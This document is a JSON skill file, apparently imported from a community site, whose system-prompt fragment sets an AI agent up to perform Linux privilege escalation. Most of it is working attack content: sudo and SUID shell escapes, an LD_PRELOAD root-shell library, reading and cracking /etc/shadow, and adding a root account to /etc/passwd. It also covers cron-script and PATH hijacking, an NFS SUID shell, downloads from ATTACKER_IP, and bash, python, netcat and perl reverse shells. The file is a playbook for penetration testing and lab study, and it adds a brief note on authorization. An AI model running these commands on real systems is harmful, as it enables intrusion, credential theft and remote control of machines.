{
  "schema": "https://ai-atoms.com/schemas/skill-v1.json",
  "type": "skill",
  "id": "skill/linux-privilege-escalation",
  "version": "1.0.0",
  "name": "Linux Privilege Escalation",
  "description": "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"ex...",
  "system_prompt_fragment": "# Linux Privilege Escalation\n\n## Purpose\n\nExecute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.\n\n## Inputs / Prerequisites\n\n### Required Access\n- Low-privilege shell access to target Linux system\n- Ability to execute commands (interactive or semi-interactive shell)\n- Network access for reverse shell connections (if needed)\n- Attacker machine for payload hosting and receiving shells\n\n### Technical Requirements\n- Understanding of Linux filesystem permissions and ownership\n- Familiarity with common Linux utilities and scripting\n- Knowledge of kernel versions and associated vulnerabilities\n- Basic understanding of compilation (gcc) for custom exploits\n\n### Recommended Tools\n- LinPEAS, LinEnum, or Linux Smart Enumeration scripts\n- Linux Exploit Suggester (LES)\n- GTFOBins reference for binary exploitation\n- John the Ripper or Hashcat for password cracking\n- Netcat or similar for reverse shells\n\n## Outputs / Deliverables\n\n### Primary Outputs\n- Root shell access on target system\n- Privilege escalation path documentation\n- System enumeration findings report\n- Recommendations for remediation\n\n### Evidence Artifacts\n- Screenshots of successful privilege escalation\n- Command output logs demonstrating root access\n- Identified vulnerability details\n- Exploited configuration files\n\n## Core Workflow\n\n### Phase 1: System Enumeration\n\n#### Basic System Information\nGather fundamental system details for vulnerability research:\n\n```bash\n# Hostname and system role\nhostname\n\n# Kernel version and architecture\nuname -a\n\n# Detailed kernel information\ncat /proc/version\n\n# Operating system details\ncat /etc/issue\ncat /etc/*-release\n\n# Architecture\narch\n```\n\n#### User and Permission Enumeration\n\n```bash\n# Current user context\nwhoami\nid\n\n# Users with login shells\ncat /etc/passwd | grep -v nologin | grep -v false\n\n# Users with home directories\ncat /etc/passwd | grep home\n\n# Group memberships\ngroups\n\n# Other logged-in users\nw\nwho\n```\n\n#### Network Information\n\n```bash\n# Network interfaces\nifconfig\nip addr\n\n# Routing table\nip route\n\n# Active connections\nnetstat -antup\nss -tulpn\n\n# Listening services\nnetstat -l\n```\n\n#### Process and Service Enumeration\n\n```bash\n# All running processes\nps aux\nps -ef\n\n# Process tree view\nps axjf\n\n# Services running as root\nps aux | grep root\n```\n\n#### Environment Variables\n\n```bash\n# Full environment\nenv\n\n# PATH variable (for hijacking)\necho $PATH\n```\n\n### Phase 2: Automated Enumeration\n\nDeploy automated scripts for comprehensive enumeration:\n\n```bash\n# LinPEAS\ncurl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh\n\n# LinEnum\n./LinEnum.sh -t\n\n# Linux Smart Enumeration\n./lse.sh -l 1\n\n# Linux Exploit Suggester\n./les.sh\n```\n\nTransfer scripts to target system:\n\n```bash\n# On attacker machine\npython3 -m http.server 8000\n\n# On target machine\nwget http://ATTACKER_IP:8000/linpeas.sh\nchmod +x linpeas.sh\n./linpeas.sh\n```\n\n### Phase 3: Kernel Exploits\n\n#### Identify Kernel Version\n\n```bash\nuname -r\ncat /proc/version\n```\n\n#### Search for Exploits\n\n```bash\n# Use Linux Exploit Suggester\n./linux-exploit-suggester.sh\n\n# Manual search on exploit-db\nsearchsploit linux kernel [version]\n```\n\n#### Common Kernel Exploits\n\n| Kernel Version | Exploit | CVE |\n|---------------|---------|-----|\n| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |\n| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |\n| 5.8+ | Dirty Pipe | CVE-2022-0847 |\n\n#### Compile and Execute\n\n```bash\n# Transfer exploit source\nwget http://ATTACKER_IP/exploit.c\n\n# Compile on target\ngcc exploit.c -o exploit\n\n# Execute\n./exploit\n```\n\n### Phase 4: Sudo Exploitation\n\n#### Enumerate Sudo Privileges\n\n```bash\nsudo -l\n```\n\n#### GTFOBins Sudo Exploitation\nReference https://gtfobins.github.io for exploitation commands:\n\n```bash\n# Example: vim with sudo\nsudo vim -c ':!/bin/bash'\n\n# Example: find with sudo\nsudo find . -exec /bin/sh \\; -quit\n\n# Example: awk with sudo\nsudo awk 'BEGIN {system(\"/bin/bash\")}'\n\n# Example: python with sudo\nsudo python -c 'import os; os.system(\"/bin/bash\")'\n\n# Example: less with sudo\nsudo less /etc/passwd\n!/bin/bash\n```\n\n#### LD_PRELOAD Exploitation\nWhen env_keep includes LD_PRELOAD:\n\n```c\n// shell.c\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdlib.h>\n\nvoid _init() {\n    unsetenv(\"LD_PRELOAD\");\n    setgid(0);\n    setuid(0);\n    system(\"/bin/bash\");\n}\n```\n\n```bash\n# Compile shared library\ngcc -fPIC -shared -o shell.so shell.c -nostartfiles\n\n# Execute with sudo\nsudo LD_PRELOAD=/tmp/shell.so find\n```\n\n### Phase 5: SUID Binary Exploitation\n\n#### Find SUID Binaries\n\n```bash\nfind / -type f -perm -04000 -ls 2>/dev/null\nfind / -perm -u=s -type f 2>/dev/null\n```\n\n#### Exploit SUID Binaries\nReference GTFOBins for SUID exploitation:\n\n```bash\n# Example: base64 for file reading\nLFILE=/etc/shadow\nbase64 \"$LFILE\" | base64 -d\n\n# Example: cp for file writing\ncp /bin/bash /tmp/bash\nchmod +s /tmp/bash\n/tmp/bash -p\n\n# Example: find with SUID\nfind . -exec /bin/sh -p \\; -quit\n```\n\n#### Password Cracking via SUID\n\n```bash\n# Read shadow file (if base64 has SUID)\nbase64 /etc/shadow | base64 -d > shadow.txt\nbase64 /etc/passwd | base64 -d > passwd.txt\n\n# On attacker machine\nunshadow passwd.txt shadow.txt > hashes.txt\njohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt\n```\n\n#### Add User to passwd (if nano/vim has SUID)\n\n```bash\n# Generate password hash\nopenssl passwd -1 -salt new newpassword\n\n# Add to /etc/passwd (using SUID editor)\nnewuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash\n```\n\n### Phase 6: Capabilities Exploitation\n\n#### Enumerate Capabilities\n\n```bash\ngetcap -r / 2>/dev/null\n```\n\n#### Exploit Capabilities\n\n```bash\n# Example: python with cap_setuid\n/usr/bin/python3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# Example: vim with cap_setuid\n./vim -c ':py3 import os; os.setuid(0); os.execl(\"/bin/bash\", \"bash\", \"-c\", \"reset; exec bash\")'\n\n# Example: perl with cap_setuid\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/bash\";'\n```\n\n### Phase 7: Cron Job Exploitation\n\n#### Enumerate Cron Jobs\n\n```bash\n# System crontab\ncat /etc/crontab\n\n# User crontabs\nls -la /var/spool/cron/crontabs/\n\n# Cron directories\nls -la /etc/cron.*\n\n# Systemd timers\nsystemctl list-timers\n```\n\n#### Exploit Writable Cron Scripts\n\n```bash\n# Identify writable cron script from /etc/crontab\nls -la /opt/backup.sh        # Check permissions\necho 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh\n\n# If cron references non-existent script in writable PATH\necho -e '#!/bin/bash\\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh\nchmod +x /home/user/antivirus.sh\n```\n\n### Phase 8: PATH Hijacking\n\n```bash\n# Find SUID binary calling external command\nstrings /usr/local/bin/suid-binary\n# Shows: system(\"service apache2 start\")\n\n# Hijack by creating malicious binary in writable PATH\nexport PATH=/tmp:$PATH\necho -e '#!/bin/bash\\n/bin/bash -p' > /tmp/service\nchmod +x /tmp/service\n/usr/local/bin/suid-binary      # Execute SUID binary\n```\n\n### Phase 9: NFS Exploitation\n\n```bash\n# On target - look for no_root_squash option\ncat /etc/exports\n\n# On attacker - mount share and create SUID binary\nshowmount -e TARGET_IP\nmount -o rw TARGET_IP:/share /tmp/nfs\n\n# Create and compile SUID shell\necho 'int main(){setuid(0);setgid(0);system(\"/bin/bash\");return 0;}' > /tmp/nfs/shell.c\ngcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell\n\n# On target - execute\n/share/shell\n```\n\n## Quick Reference\n\n### Enumeration Commands Summary\n| Purpose | Command |\n|---------|---------|\n| Kernel version | `uname -a` |\n| Current user | `id` |\n| Sudo rights | `sudo -l` |\n| SUID files | `find / -perm -u=s -type f 2>/dev/null` |\n| Capabilities | `getcap -r / 2>/dev/null` |\n| Cron jobs | `cat /etc/crontab` |\n| Writable dirs | `find / -writable -type d 2>/dev/null` |\n| NFS exports | `cat /etc/exports` |\n\n### Reverse Shell One-Liners\n```bash\n# Bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'\n\n# Netcat\nnc -e /bin/bash ATTACKER_IP 4444\n\n# Perl\nperl -e 'use Socket;$i=\"ATTACKER_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");'\n```\n\n### Key Resources\n- GTFOBins: https://gtfobins.github.io\n- LinPEAS: https://github.com/carlospolop/PEASS-ng\n- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Verify kernel exploits in test environment before production use\n- Failed kernel exploits may crash the system\n- Document all changes made during privilege escalation\n- Maintain access persistence only as authorized\n\n### Technical Limitations\n- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)\n- AppArmor/SELinux may restrict exploitation techniques\n- Container environments limit kernel-level exploits\n- Hardened systems may have restricted sudo configurations\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Stay within defined scope boundaries\n- Report critical findings immediately\n- Do not access data beyond scope requirements\n\n## Examples\n\n### Example 1: Sudo to Root via find\n\n**Scenario**: User has sudo rights for find command\n\n```bash\n$ sudo -l\nUser user may run the following commands:\n    (root) NOPASSWD: /usr/bin/find\n\n$ sudo find . -exec /bin/bash \\; -quit\n# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: SUID base64 for Shadow Access\n\n**Scenario**: base64 binary has SUID bit set\n\n```bash\n$ find / -perm -u=s -type f 2>/dev/null | grep base64\n/usr/bin/base64\n\n$ base64 /etc/shadow | base64 -d\nroot:$6$xyz...:18000:0:99999:7:::\n\n# Crack offline with john\n$ john --wordlist=rockyou.txt shadow.txt\n```\n\n### Example 3: Cron Job Script Hijacking\n\n**Scenario**: Root cron job executes writable script\n\n```bash\n$ cat /etc/crontab\n* * * * * root /opt/scripts/backup.sh\n\n$ ls -la /opt/scripts/backup.sh\n-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh\n\n$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh\n\n# Wait 1 minute\n$ /tmp/bash -p\n# id\nuid=1000(user) gid=1000(user) euid=0(root)\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |\n| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |\n| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |\n| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.",
  "applicable_domains": [
    "other"
  ],
  "category": "other",
  "invocation": [
    "/linux-privilege-escalation"
  ],
  "authored_by": "claudeskills.in community",
  "source_url": "https://claudeskills.in/skill/linux-privilege-escalation",
  "provenance": {
    "source": "claudeskills.in",
    "source_url": "https://claudeskills.in/skill/linux-privilege-escalation",
    "license": "unknown",
    "imported_at": "2026-09-03",
    "notes": "Aggregated by claudeskills.in from community GitHub lists."
  },
  "tags": [
    "claudeskills",
    "other"
  ],
  "lifecycle": "draft"
}